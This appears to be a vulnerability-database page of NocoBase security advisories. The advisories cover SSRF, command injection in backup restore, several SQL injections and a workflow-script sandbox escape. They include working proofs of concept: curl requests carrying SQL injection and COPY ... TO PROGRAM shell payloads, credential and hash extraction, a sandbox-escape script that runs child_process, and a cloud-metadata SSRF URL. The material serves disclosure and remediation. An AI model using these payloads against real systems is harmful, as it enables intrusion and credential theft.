Where
-Infinity
0

Vendor Risk Score

See how nocobase compares to other vendors in security performance

View Risk Score →
SSRF

A Server-Side Request Forgery (SSRF) in the serverRequest function of nocobase v2.1.21 allows authenticated attackers to scan internal resources via a crafted HTTP request.

First published (updated )
Severity
6.7
OS Command Injection, Command Injection
AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:H/A:H

Summary NocoBase @nocobase/plugin-backups 2.0.57 restores PostgreSQL backups by interpolating the backup metadata schema name into shell command strings that are executed with Node.js childprocess.exec(). A backup-management user who can restore an uploaded PostgreSQL backup with forced schema restore can place shell metacharacters in metadata.json under database.schema, causing arbitrary commands to execute as the NocoBase server process during restore.

The vulnerable plugin is included in the default @nocobase/preset-nocobase package and is guarded by the backup-management ACL snippet (backups: / backup:). This is not unauthenticated; the attacker must have backup restore privileges or equivalent access to the restore API/CLI.

Details Affected product evidence: - Ecosystem/package: npm package @nocobase/plugin-backups from packages/plugins/@nocobase/plugin-backups/package.json. - Tested vulnerable version: 2.0.57 (packages/plugins/@nocobase/plugin-backups/package.json:1-16). - Tested commit: e03d267362b3426f484c28783020b4a2a08911e8. - Default/common inclusion: @nocobase/preset-nocobase depends on and lists @nocobase/plugin-backups 2.0.57 as built in (packages/presets/nocobase/package.json:22-24, packages/presets/nocobase/package.json:115-128). - Affected range estimate: at least the tested 2.0.57 checkout. Earlier/later versions were not tested. - Patched version: unknown/not available in this local checkout.

Source-to-sink path: - The plugin registers backup-management snippets for backups: and backup:, so the restore API is intended for roles granted backup-management permissions (packages/plugins/@nocobase/plugin-backups/src/server/plugin.ts:51-59). - The backup restore-upload action accepts request body/query force and passes it as forceSchemaRestore to RestoreManager.restore() (packages/plugins/@nocobase/plugin-backups/src/server/resourcers/backup-cli.ts:40-42, packages/plugins/@nocobase/plugin-backups/src/server/resourcers/backup-cli.ts:200-211). - RestoreManager decompresses the uploaded backup archive, reads metadata.json, and parses attacker-controlled JSON metadata (packages/plugins/@nocobase/plugin-backups/src/server/managers/restore.ts:203-215, packages/plugins/@nocobase/plugin-backups/src/server/managers/restore.ts:257-267). - When forceSchemaRestore is true and the database dialect is PostgreSQL, the schema-mismatch check is skipped (packages/plugins/@nocobase/plugin-backups/src/server/managers/restore.ts:270-300). Existing tests confirm forced schema restore intentionally allows a metadata schema mismatch (packages/plugins/@nocobase/plugin-backups/src/server/tests/managers/restore.test.ts:336-356) and that the API passes forceSchemaRestore: true when force=true is supplied (packages/plugins/@nocobase/plugin-backups/src/server/tests/managers/restore.test.ts:377-409). - The parsed metadata.database.schema is passed into this.#dbAdapter.restore(path.join(extractedDir, dbFile), metadata.database.schema) (packages/plugins/@nocobase/plugin-backups/src/server/managers/restore.ts:427-448). - For PostgreSQL, if the backup schema differs from the target schema, PostgresAdapter.restore() assigns srcSchema = schema || 'public' and builds pgRestoreCommand using -n ${srcSchema} with no quoting or argument array (packages/plugins/@nocobase/plugin-backups/src/server/adapters/database.ts:350-420). - #restoreSchema() also interpolates srcSchema and targetSchema directly into SQL strings and then calls run(pgRestoreCommand, ...) (packages/plugins/@nocobase/plugin-backups/src/server/adapters/database.ts:423-451). - run() executes the assembled string through childprocess.exec(), which invokes a shell (packages/plugins/@nocobase/plugin-backups/src/server/adapters/database.ts:1-31).

A schema value such as safe; touch /tmp/nocobase-cve-marker # produces a restore command of this form:

text pgrestore -U u -h localhost -p 5432 -n safe; touch /tmp/nocobase-cve-marker # -d db --clean --if-exists --no-owner -j 1 /tmp/backup-data

The semicolon terminates the intended pgrestore command and starts a new shell command.

False-positive screening: - This report does not claim unauthenticated exploitation. The route is gated by backup-management permissions through the registered ACL snippet. - The older backups.upload resource path was reviewed and does not pass forceSchemaRestore; the directly confirmed force path is the backup.restoreUpload / backup-CLI API path (packages/plugins/@nocobase/plugin-backups/src/server/resourcers/backups.ts:54-77, packages/plugins/@nocobase/plugin-backups/src/server/resourcers/backup-cli.ts:200-211). - The schema mismatch check blocks mismatched metadata by default, but it is deliberately bypassed for PostgreSQL when the supported force option is true. - The command injection is in the shell command itself before any PostgreSQL connection or valid backup file is required; the safe PoC proves shell metacharacter execution locally without connecting to a database. - The finding is not based on existing reports or generated writeups.

PoC The following local-only PoC renders the same vulnerable pgrestore command shape built by PostgresAdapter.restore() and executes it through Node.js childprocess.exec(), the sink used by the plugin. It uses a harmless marker file under /tmp, does not contact external services, and cleans up after itself.

From a clean checkout of the tested commit:

bash cd nocobase rm -f /tmp/nocobase-cve-marker node - <<'NODE' const { exec } = require('childprocess');

const schemaFromBackupMetadata = 'safe; touch /tmp/nocobase-cve-marker #'; const command = pgrestore -U u -h localhost -p 5432 -n ${schemaFromBackupMetadata} -d db --clean --if-exists --no-owner -j 1 /tmp/backup-data;

exec(command, () => { const fs = require('fs'); console.log(fs.existsSync('/tmp/nocobase-cve-marker') ? 'marker-created' : 'marker-missing'); fs.rmSync('/tmp/nocobase-cve-marker', { force: true }); }); NODE

Observed output in this environment:

text marker-created

Expected vulnerable output: marker-created, proving the schema value starts a second shell command.

Negative/control case: replace schemaFromBackupMetadata with safeschema; the same harness should print marker-missing because no shell metacharacter starts the touch command.

Maintainer-runnable application-level trigger: 1. Run NocoBase 2.0.57 with PostgreSQL and the built-in @nocobase/plugin-backups enabled. 2. Use a role granted the backup-management snippet/actions (backups: / backup:). 3. Create a NocoBase backup archive containing a data member and metadata.json with matching dialect/table settings but database.schema set to safe; touch /tmp/nocobase-cve-marker #. 4. Restore the uploaded backup through the backup restore-upload path with force=true so PostgreSQL schema mismatch is allowed. 5. Vulnerable behavior: /tmp/nocobase-cve-marker exists on the server after restore begins, even if pgrestore or database connection later fails. 6. Cleanup: remove /tmp/nocobase-cve-marker and discard the test database/container.

Impact A user with backup restore privileges can execute arbitrary shell commands as the NocoBase server OS user. In a typical server or container deployment, this can read application configuration and environment secrets, modify application files or database backups, run network clients from the server, and disrupt service availability.

The required application privilege is high because backup restore is an administrative operation. However, backup-management permission is still an application-level role boundary; it should not imply arbitrary operating-system command execution.

Suggested remediation Do not execute database tools through shell-interpreted command strings. Use spawn() or execFile() with an argument array for pgrestore, psql, pgdump, mysql, and related tools. Validate PostgreSQL schema identifiers from backup metadata against PostgreSQL identifier rules or quote them using the database driver's identifier-quoting facilities before using them in SQL.

For this specific path: - Pass pgrestore arguments as an array, for example ['-U', username, '-h', host, '-p', String(port), '-n', srcSchema, '-d', database, ...]. - Reject schema names containing shell metacharacters, quotes, whitespace, comments, or characters outside accepted PostgreSQL identifier syntax unless they are safely handled as identifiers. - Replace dynamic SQL string interpolation in #restoreSchema() with identifier-safe quoting (format('%I', ...) in PostgreSQL or equivalent server-side parameters) and string-literal escaping where literals are required. - Add regression tests that restore a backup whose metadata schema contains ; touch /tmp/should-not-exist # and assert no marker file is created and the request is rejected.

1 / 2
Source: GitHub
First published (updated )
Severity
10
SQL Injection
AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Summary

GET /api/myInAppChannels:list accepts a structured filter query parameter. The handler for the latestMsgReceiveTimestamp field splices the $lt value directly into a Sequelize.literal() template string with no escape, type cast, or parameter binding. The action ACL is loggedIn, so any authenticated account reaches it. The default auth-basic authenticator ships allowSignUp: true, so the account is obtainable anonymously.

The injection is reachable with the URL parameter filter[latestMsgReceiveTimestamp][$lt]=<expression>. The pg driver in front of Sequelize accepts stacked statements, so the chain extends from boolean and timing oracles to multi-statement payloads.

The shipped docker-compose.yml creates the DB role nocobase on a stock postgres:16 image, which assigns the rolsuper attribute by default. COPY ... TO PROGRAM '...' therefore runs shell commands as uid=999(postgres) inside the database container.

Result: any anonymous visitor signs up, signs in, and exfiltrates arbitrary rows or executes shell commands inside the database container with one HTTP GET after the sign-in.

Affected

NocoBase server, @nocobase/plugin-notification-in-app-message <=2.0.57. Confirmed live-exploitable on the official nocobase/nocobase:2.0.57 Docker image (HEAD e35a2737d9df139cacecae0151c3326746e2339a).

@nocobase/plugin-notification-in-app-message is enabled by default in @nocobase/preset-nocobase. The default auth-basic ships allowSignUp: true. The shipped docker/app-postgres/docker-compose.yml uses POSTGRESUSER=nocobase against postgres:16, which makes the role a PostgreSQL superuser; COPY ... TO PROGRAM runs from this role.

Root cause

packages/plugins/@nocobase/plugin-notification-in-app-message/src/server/defineMyInAppChannels.ts:62-63: the latestMsgReceiveTimestamp filter is built as Sequelize.literal(\${latestMsgReceiveTimestampSQL} < ${filter.latestMsgReceiveTimestamp.$lt}\). The $lt value comes straight from the GET filter JSON; the template uses ${...} interpolation with no escape(), replacements, or type cast.

packages/plugins/@nocobase/plugin-notification-in-app-message/src/server/InAppNotificationChannel.ts:200: app.acl.allow('myInAppChannels', '', 'loggedIn') exposes every action on the resource to every authenticated role, including the seeded member.

packages/plugins/@nocobase/plugin-auth/src/server/plugin.ts:295: allowSignUp: true ships in the default auth-basic seed; POST /api/auth:signUp returns 200 with no admin involvement.

docker/app-postgres/docker-compose.yml:30: POSTGRESUSER: nocobase against postgres:16. The bare postgres:16 image creates the named role with rolsuper=true (live-verified: SELECT rolsuper FROM pgroles WHERE rolname='nocobase' returns true). The pg driver simple-query accepts stacked statements.

Reproduction

Tested against nocobase/nocobase:2.0.57 from the official Docker image with the default app-postgres compose. Attacker is an anonymously-signed-up member.

1. Anonymous sign-up, then sign-in for a member JWT.

curl -X POST -H 'Content-Type: application/json' \ -d '{"username":"a","password":"P!ssw0rd1","confirmpassword":"P!ssw0rd1"}' \ http://target:13000/api/auth:signUp?authenticator=basic TOKEN=$(curl -sX POST -H 'Content-Type: application/json' \ -d '{"account":"a","password":"P!ssw0rd1"}' \ http://target:13000/api/auth:signIn?authenticator=basic | jq -r .data.token)

2. Time-based oracle confirms injection. Each request below takes ~5 seconds.

curl -sG -H "Authorization: Bearer $TOKEN" -H "X-Authenticator: basic" \ "http://target:13000/api/myInAppChannels:list" \ --data-urlencode "filter[latestMsgReceiveTimestamp][\$lt]=0) AND 1882=(SELECT 1882 FROM PGSLEEP(5))-- a"

3. Stacked-statement COPY ... TO PROGRAM runs shell as uid=999(postgres) inside the database container.

curl -sG -H "Authorization: Bearer $TOKEN" -H "X-Authenticator: basic" \ "http://target:13000/api/myInAppChannels:list" \ --data-urlencode "filter[latestMsgReceiveTimestamp][\$lt]=0); COPY (SELECT 1) TO PROGRAM 'id > /tmp/PWNVERIFY.txt'; --" docker exec launch-postgres-1 cat /tmp/PWNVERIFY.txt uid=999(postgres) gid=999(postgres) groups=999(postgres),101(ssl-cert)

Live-verified: sqlmap 1.10.3 against this endpoint reports Type: boolean-based blind (payload 0) AND 1511=(SELECT (CASE WHEN (1511=1511) THEN 1511 ELSE (SELECT 4568 UNION SELECT 9477) END))-- KVYH), Type: time-based blind, current user: nocobase, current user is DBA: True. Admin password hash ef6ea7f6...8ea12 exfiltrated via COPY (SELECT email,password FROM users WHERE id=1) TO PROGRAM 'cat > /tmp/PWNHASH.txt'. Reproduced 2026-05-26 against HEAD e35a2737.

Impact

- Authenticated SQL injection with time-based, boolean-based, and stacked-statement primitives (pg driver simple-query). - Arbitrary row read of any collection, including users.password PBKDF2 hashes for the super-admin account. - Shell command execution as uid=999(postgres) inside the PostgreSQL container via COPY ... TO PROGRAM. - Anonymous reach in default deployments because auth-basic ships allowSignUp: true.

Credit

Jan Kahmen, turingpoint (jan@turingpoint.de)

1 / 2
Source: GitHub
First published (updated )
Severity
5.1
SSRF
AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:N

NocoBase through 2.1.20 contains a server-side request forgery vulnerability in the serverRequest wrapper that allows authenticated administrators to issue arbitrary outbound HTTP requests by supplying malicious URLs to workflow request nodes, custom request action buttons, or the AI plugin. Attackers can target loopback addresses, RFC-1918 private ranges, and cloud instance metadata endpoints to perform internal network port enumeration, host discovery, and retrieval of IAM role credentials from the instance metadata service. v2.1.18 added a warning message for when SERVERREQUESTWHITELIST is not configured.

First published (updated )
Severity
8.8
SQL Injection
AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

Summary

The queryParentSQL() function in the core database package constructs a recursive CTE query by joining nodeIds with string concatenation instead of using parameterized queries. The nodeIds array contains primary key values read from database rows. An attacker who can create a record with a malicious string primary key can inject arbitrary SQL when any subsequent request triggers recursive eager loading on that collection.

Affected component: @nocobase/database (core) Affected versions: <= 2.0.32 (confirmed) Minimum privilege: Any user with record-creation permission on a tree collection with string-type primary keys

Vulnerable Code

packages/core/database/src/eager-loading/eager-loading-tree.ts:59-84

javascript const queryParentSQL = (options: { db: Database; nodeIds: any[]; collection: Collection; foreignKey: string; targetKey: string; }) => { const { collection, db, nodeIds } = options; const tableName = collection.quotedTableName(); const { foreignKey, targetKey } = options; const foreignKeyField = collection.model.rawAttributes[foreignKey].field; const targetKeyField = collection.model.rawAttributes[targetKey].field;

const queryInterface = db.sequelize.getQueryInterface(); const q = queryInterface.quoteIdentifier.bind(queryInterface); return WITH RECURSIVE cte AS ( SELECT ${q(targetKeyField)}, ${q(foreignKeyField)} FROM ${tableName} WHERE ${q(targetKeyField)} IN ('${nodeIds.join("','")}') // <-- INJECTION UNION ALL SELECT t.${q(targetKeyField)}, t.${q(foreignKeyField)} FROM ${tableName} AS t INNER JOIN cte ON t.${q(targetKeyField)} = cte.${q(foreignKeyField)} ) SELECT ${q(targetKeyField)} AS ${q(targetKey)}, ${q(foreignKeyField)} AS ${q(foreignKey)} FROM cte; };

This function is called at line 384 when a BelongsTo association has recursively: true and instances exist:

javascript // eager-loading-tree.ts:382-395 if (node.includeOption.recursively && instances.length > 0) { const targetKey = association.targetKey; const sql = queryParentSQL({ db: this.db, collection, foreignKey, targetKey, nodeIds: instances.map((instance) => instance.get(targetKey)), // from DB rows }); const results = await this.db.sequelize.query(sql, { type: 'SELECT', transaction }); }

PoC

The payload keeps the CTE syntactically valid by injecting a third UNION ALL branch. The closing ') from the original template literal completes the injected WHERE clause, and the remaining UNION ALL ... INNER JOIN ... SELECT ... FROM cte lines stay intact.

Injection ID value: root') UNION ALL SELECT CAST((SELECT email FROM users LIMIT 1) AS integer)::text, NULL::text WHERE ('1'='1

Generated SQL (3 valid UNION ALL branches): WITH RECURSIVE cte AS ( SELECT "id", "parentId" FROM "table" WHERE "id" IN ('root','root') UNION ALL SELECT CAST((...) AS integer)::text, NULL::text WHERE ('1'='1') UNION ALL SELECT t."id", t."parentId" FROM "table" AS t INNER JOIN cte ON t."id" = cte."parentId" ) SELECT "id" AS "id", "parentId" AS "parentId" FROM cte

The CAST-to-integer triggers a runtime error whose message contains the subquery result.

bash TOKEN="<jwttoken>"

1. Create tree collection with string PKs curl -s http://TARGET:13000/api/collections:create \ -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" \ -d '{"name":"vulntree","tree":"adjacencyList","fields":[ {"name":"id","type":"string","primaryKey":true,"interface":"input"}, {"name":"title","type":"string","interface":"input"}, {"name":"parent","type":"belongsTo","target":"vulntree","foreignKey":"parentId","targetKey":"id","treeParent":true}, {"name":"children","type":"hasMany","target":"vulntree","foreignKey":"parentId","sourceKey":"id","treeChildren":true} ]}'

2. Create safe root curl -s http://TARGET:13000/api/vulntree:create \ -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" \ -d '{"id":"root","title":"Root"}'

3. Create injection parent — error-based extraction of admin email python3 -c " import requests, json headers = {'Authorization': 'Bearer $TOKEN', 'Content-Type': 'application/json'} payloadid = \"root') UNION ALL SELECT CAST((SELECT email FROM users LIMIT 1) AS integer)::text, NULL::text WHERE ('1'='1\" requests.post('http://TARGET:13000/api/vulntree:create', headers=headers, json={'id': payloadid, 'title': 'x'}) requests.post('http://TARGET:13000/api/vulntree:create', headers=headers, json={'id': 'child', 'title': 'c', 'parentId': payloadid}) r = requests.get('http://TARGET:13000/api/vulntree:list', headers=headers, params={'appends[]': 'parent(recursively=true)', 'pageSize': '100'}) print(json.dumps(r.json(), indent=2)) " Returns: 500 {"errors":[{"message":"invalid input syntax for type integer: \"admin@nocobase.com\""}]} ^^^^^^^^^^^^^^^^^^^^^^^ Exfiltrated data in error message

Confirmed extractions (tested against NocoBase v2.0.32 + PostgreSQL 16.13):

| Subquery | Extracted Value | |----------|----------------| | SELECT version() | PostgreSQL 16.13 (Debian 16.13-1.pgdg13+1) on aarch64-unknown-linux-gnu... | | SELECT currentdatabase() | nocobase | | SELECT email FROM users ORDER BY id LIMIT 1 | admin@nocobase.com | | SELECT password FROM users ORDER BY id LIMIT 1 | 006af6756e9660888c44ab311fe992341af0ecab4aaf13e48c8d0001948acc38 | | SELECT stringagg(email\|\|':'||substring(password,1,16), ' \| ') FROM users | admin@nocobase.com:006af6756e96 \| member@nocobase.com:4653e80e3cbf |

Impact

- Confidentiality: Error-based extraction of any database value. Full credential dump confirmed (emails + password hashes). - Integrity: Depending on database user privileges, INSERT/UPDATE/DELETE through stacked queries. - Availability: Resource-exhaustive queries or destructive DDL. - Scope change: On PostgreSQL with superuser, COPY ... TO PROGRAM achieves OS command execution. - Blast radius: Affects all collections using tree/adjacency-list structure with string-type primary keys. The same concatenation pattern also exists in plugin-field-sort/src/server/sort-field.ts:124.

Fix Suggestion

1. Use parameterized queries. Replace the string concatenation with bind parameters: javascript const placeholders = nodeIds.map((, i) => $${i + 1}).join(','); const sql = WITH RECURSIVE cte AS ( SELECT ${q(targetKeyField)}, ${q(foreignKeyField)} FROM ${tableName} WHERE ${q(targetKeyField)} IN (${placeholders}) UNION ALL ... ) SELECT ... FROM cte; return { sql, bind: nodeIds }; Then call db.sequelize.query(sql, { type: 'SELECT', bind: nodeIds, transaction }).

2. Apply the same fix to plugin-field-sort/src/server/sort-field.ts:124, which has an identical concatenation pattern with filteredScopeValue.

3. Validate primary key values at record creation time. Reject or escape values containing SQL metacharacters (', ", ;, --) in string-type primary key fields.

1 / 2
Source: GitHub
First published (updated )
Severity
7.2
SQL Injection
AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Summary

The checkSQL() validation function that blocks dangerous SQL keywords (e.g., pgreadfile, LOADFILE, dblink) is applied on the collections:create and sqlCollection:execute endpoints but is entirely missing on the sqlCollection:update endpoint. An attacker with collection management permissions can create a SQL collection with benign SQL, then update it with arbitrary SQL that bypasses all validation, and query the collection to execute the injected SQL and exfiltrate data.

Affected component: @nocobase/plugin-collection-sql Affected versions: <= 2.0.32 (confirmed) Minimum privilege: Collection management permissions (pm.data-source-manager.collection-sql snippet)

Vulnerable Code

checkSQL is applied on create and execute

packages/plugins/@nocobase/plugin-collection-sql/src/server/resources/sql.ts

javascript // Line 51-60 — execute action: checkSQL IS called execute: async (ctx: Context, next: Next) => { const { sql } = ctx.action.params.values || {}; try { checkSQL(sql); } catch (e) { ctx.throw(400, ctx.t(e.message)); } // ... }

checkSQL is NOT applied on update

javascript // Line 105-118 — update action: checkSQL IS NOT called update: async (ctx: Context, next: Next) => { const transaction = await ctx.app.db.sequelize.transaction(); try { const { upRes } = await updateCollection(ctx, transaction); // No checkSQL() call anywhere in this path! const [collection] = upRes; await collection.load({ transaction, resetFields: true }); await transaction.commit(); } // ... }

The checkSQL function itself

packages/plugins/@nocobase/plugin-collection-sql/src/server/utils.ts:10-28

javascript export const checkSQL = (sql: string) => { const dangerKeywords = [ 'pgreadfile', 'pgwritefile', 'pglsdir', 'LOADFILE', 'INTO OUTFILE', 'INTO DUMPFILE', 'dblink', 'loimport', // ... ]; sql = sql.trim().split(';').shift(); if (!/^select/i.test(sql) && !/^with([\s\S]+)select([\s\S]+)/i.test(sql)) { throw new Error('Only supports SELECT statements or WITH clauses'); } if (dangerKeywords.some((keyword) => sql.toLowerCase().includes(keyword.toLowerCase()))) { throw new Error('SQL statements contain dangerous keywords'); } };

PoC

bash TOKEN="<adminjwttoken>"

Step 1: Create collection with valid SQL (passes checkSQL) curl -s http://TARGET:13000/api/collections:create \ -H "Authorization: Bearer $TOKEN" \ -H "Content-Type: application/json" \ -d '{ "name": "exfilcollection", "sql": "SELECT 1 as id", "fields": [{"name": "id", "type": "integer"}], "template": "sql" }'

Step 2: Verify checkSQL blocks dangerous SQL on create curl -s http://TARGET:13000/api/collections:create \ -H "Authorization: Bearer $TOKEN" \ -H "Content-Type: application/json" \ -d '{"name": "blocked", "sql": "SELECT pgreadfile('\''/etc/passwd'\'')", "fields": [], "template": "sql"}' Returns: 400 "SQL statements contain dangerous keywords"

Step 3: Update with dangerous SQL — bypasses checkSQL entirely curl -s "http://TARGET:13000/api/sqlCollection:update?filterByTk=exfilcollection" \ -X POST \ -H "Authorization: Bearer $TOKEN" \ -H "Content-Type: application/json" \ -d '{ "sql": "SELECT FROM users", "fields": [ {"name": "id", "type": "integer"}, {"name": "email", "type": "string"}, {"name": "password", "type": "string"} ] }' Returns: 200 OK — no validation!

Step 4: Query the collection to exfiltrate data curl -s "http://TARGET:13000/api/exfilcollection:list" \ -H "Authorization: Bearer $TOKEN" Returns: all rows from users table including password hashes

Impact

- Confidentiality: Arbitrary SELECT queries exfiltrate any table. Confirmed dump of the users table including password hashes. - Integrity/Availability: Although checkSQL strips after the first semicolon, dangerous single-statement operations like SELECT ... INTO, subqueries with side effects, or database-specific functions (pgreadfile, LOADFILE, dblink) are all accessible through the update bypass. - Privilege escalation: On PostgreSQL, dblink enables lateral movement to other databases. pgreadfile reads arbitrary files from the database server filesystem.

Fix Suggestion

1. Add checkSQL() to the update action. The one-line fix: javascript update: async (ctx: Context, next: Next) => { const { sql } = ctx.action.params.values || {}; if (sql) { try { checkSQL(sql); } catch (e) { ctx.throw(400, ctx.t(e.message)); } } // ... existing code ... }

2. Centralize validation in middleware rather than per-action. Apply checkSQL in the resource middleware for any action that accepts a sql field, so future actions cannot accidentally skip it.

3. Strengthen the blocklist. The current list is missing COPY (PostgreSQL file I/O and RCE), CREATE, ALTER, DROP, GRANT, SET, and EXECUTE. Consider switching to a parser-based allowlist that only permits SELECT and WITH ... SELECT at the AST level rather than relying on keyword blocklisting.

1 / 2
Source: GitHub
First published (updated )
Severity
6.4
SSRF
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

NocoBase's workflow HTTP request plugin and custom request action plugin make server-side HTTP requests to user-provided URLs without any SSRF protection. An authenticated user can access internal network services, cloud metadata endpoints, and localhost.

Vulnerable Code

1. Workflow HTTP Request Plugin

packages/plugins/@nocobase/plugin-workflow-request/src/server/RequestInstruction.ts lines 117-128: typescript return axios.request({ url: trim(url), // User-controlled, no validation method, headers, params, timeout, ...(method.toLowerCase() !== 'get' && data != null ? { data: transformer ? await transformer(data) : data } : {}), });

The url at line 98 comes directly from user workflow configuration with only whitespace trimming.

2. Custom Request Action Plugin

packages/plugins/@nocobase/plugin-action-custom-request/src/server/actions/send.ts lines 172-198: typescript const axiosRequestConfig = { baseURL: ctx.origin, ...options, url: getParsedValue(url, variables), // User-controlled via template headers: { ... }, params: getParsedValue(arrayToObject(params), variables), data: getParsedValue(toJSON(data), variables), }; const res = await axios(axiosRequestConfig); // No IP validation

Missing Protections

- No request-filtering-agent or SSRF library (confirmed via grep across entire codebase) - No private IP range filtering - No cloud metadata endpoint blocking - No URL scheme validation - No DNS rebinding protection

Attack Scenario

1. Authenticated user creates a workflow with HTTP Request node 2. Sets URL to http://169.254.169.254/latest/meta-data/iam/security-credentials/ 3. Triggers the workflow 4. Server fetches AWS metadata and returns IAM credentials in workflow execution logs

Alternatively via Custom Request action: 1. Create custom request with URL http://127.0.0.1:5432 or http://10.0.0.1:8080/admin 2. Execute the action 3. Server makes request to internal service

Impact

- Cloud metadata theft: AWS/GCP/Azure credentials via metadata endpoints - Internal network access: Scan and interact with services on private IP ranges - Database access: Connect to localhost databases (PostgreSQL, Redis, etc.) - Authentication required: Yes (authenticated user), but any workspace member can create workflows

1 / 2
Source: GitHub
First published (updated )
Severity
8.5
SQL Injection
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

NocoBase <= 2.0.8 plugin-workflow-sql substitutes template variables directly into raw SQL strings via getParsedValue() without parameterization or escaping. Any user who triggers a workflow containing a SQL node with template variables from user-controlled data can inject arbitrary SQL.

Affected Versions

- Affected: all versions through 2.0.8

Details

The SQLInstruction in packages/plugins/@nocobase/plugin-workflow-sql/src/server/SQLInstruction.ts line 28 processes SQL templates:

typescript // SQLInstruction.ts:28 const sql = processor.getParsedValue(node.config.sql || '', node.id).trim();

Then executes the resulting string directly:

typescript // SQLInstruction.ts:35 const [result] = await collectionManager.db.sequelize.query(sql, { transaction: this.workflow.useDataSourceTransaction(dataSourceName, processor.transaction), });

getParsedValue() performs simple string substitution of {{$context.data.fieldName}} placeholders with values from the workflow trigger data. No escaping, quoting, or parameterized binding is applied.

When an admin creates a SQL node with a template like: sql SELECT FROM users WHERE nickname = '{{$context.data.nickname}}'

Any user who triggers the workflow with a crafted value can break out of the string literal and inject arbitrary SQL.

Proof of Concept

1. Login as admin 2. Create a collection-trigger workflow on the users table (mode: after create) 3. Add a SQL node with: sql SELECT id, nickname, email FROM users WHERE nickname = '{{$context.data.nickname}}' 4. Enable the workflow 5. Create a user with nickname set to: ' UNION SELECT 1,version(),currentuser -- 6. Check execution result:

json [ { "id": 1, "nickname": "PostgreSQL 16.13 (Debian 16.13-1.pgdg13+1) on x8664-pc-linux-gnu...", "email": "nocobase" } ]

The injected UNION SELECT returned the database version and current database user.

Impact

Full database read/write access through SQL injection. An attacker who can trigger a workflow with a SQL node containing template variables from user-controlled data can extract credentials, modify records, or drop tables. The severity depends on the database user's privileges (full superuser access in the default Docker deployment).

Suggested Fix

Use parameterized queries. Replace direct string substitution with Sequelize bind parameters:

diff // SQLInstruction.ts - const sql = processor.getParsedValue(node.config.sql || '', node.id).trim(); + const { sql, bind } = processor.getParsedValueAsParams(node.config.sql || '', node.id); const [result] = await collectionManager.db.sequelize.query(sql, { + bind, transaction: ... });

1 / 2
Source: GitHub
First published (updated )
Severity
10
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

## Summary

NocoBase's Workflow Script Node executes user-supplied JavaScript inside a Node.js vm sandbox with a custom require allowlist (controlled by WORKFLOWSCRIPTMODULES env var). However, the console object passed into the sandbox context exposes host-realm WritableWorkerStdio stream objects via console.stdout and console.stderr.

An authenticated attacker can traverse the prototype chain to escape the sandbox and achieve Remote Code Execution (RCE) as root.

Exploit Chain

1. console.stdout.constructor.constructor → host-realm Function constructor 2. Function('return process')() → Node.js process object 3. process.mainModule.require('childprocess') → unrestricted module loading 4. childprocess.execSync('id') → RCE as root

This completely bypasses the customRequire allowlist.

Impact

- Remote Code Execution as root (uid=0) inside Docker container - Database credential theft (DBPASSWORD, INITROOTPASSWORD from process.env) - Arbitrary file read/write via require('fs') - Reverse shell confirmed - Outbound network access for lateral movement

Proof of Concept

HTTP Request:

POST /api/flownodes:test Authorization: Bearer <JWTTOKEN> Content-Type: application/json

{ "type": "script", "config": { "content": "const Fn=console.stdout.constructor.constructor;const proc=Fn('return process')();const cp=proc.mainModule.require('childprocess');return cp.execSync('id').toString().trim();", "timeout": 5000, "arguments": [] } }

Response:

{"data":{"status":1,"result":"uid=0(root) gid=0(root) groups=0(root)","log":""}}

Environment

- Docker image: nocobase/nocobase:latest - NocoBase CLI: v2.0.26 - Node.js: v20.20.1 - OS: Debian GNU/Linux 12 (bookworm)

PoC

Got reverse shell

<img width="1300" height="743" alt="Screenshot 2026-03-26 at 06 09 51" src="https://github.com/user-attachments/assets/fcb65346-2d98-485a-a849-153d5957c78e" />

Proof of concept the root privileges

<img width="1292" height="515" alt="Screenshot 2026-03-26 at 06 12 29" src="https://github.com/user-attachments/assets/599cd915-d5e9-47b6-9ddb-655ae4f22d50" />

os-release demonstration

<img width="1290" height="523" alt="Screenshot 2026-03-26 at 06 12 54" src="https://github.com/user-attachments/assets/48030450-f2b1-4edc-a7f0-caafbf55dd00" />

<img width="1296" height="516" alt="image" src="https://github.com/user-attachments/assets/f7012c09-885b-48fb-a6d4-7282c0326d0b" />

App path

<img width="1295" height="516" alt="Screenshot 2026-03-26 at 06 14 04" src="https://github.com/user-attachments/assets/b4846af8-cb10-4c2a-886f-b19a120c2245" />

Exploit Usage:

Reverse Shell Mode

<img width="1299" height="523" alt="tool1" src="https://github.com/user-attachments/assets/6c26d6f3-0ad2-4a61-9692-b150409ee569" />

Dump system information & creds

<img width="635" height="591" alt="tool2" src="https://github.com/user-attachments/assets/08dbc231-d686-4536-8a74-272ceb5c10a8" />

Remote Command Execution Mode

<img width="644" height="467" alt="tool3" src="https://github.com/user-attachments/assets/fc95d89b-eff5-4eec-87b4-f6022778feec" />

Remediation

1. Replace Node.js vm module with isolated-vm for true V8 isolate separation 2. Do not pass the host console object into the sandbox; create a clean proxy 3. Run the application as a non-root user inside Docker 4. Restrict /api/flownodes:test to admin-only roles

Alternative Escape Vectors

- console.stderr.constructor.constructor (identical chain via stderr) - Error.prepareStackTrace + CallSite.getThis() (V8 CallSite API)

Reporter

Onurcan Genç — Independent Security Researcher, Bilkent University

1 / 2
Source: GitHub
First published (updated )
Severity
6.3
SQL Injection
AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L/E:P/RL:X/RC:R

Impact

CVE-2025-13877 is an authentication bypass vulnerability caused by insecure default JWT key usage in NocoBase Docker deployments.

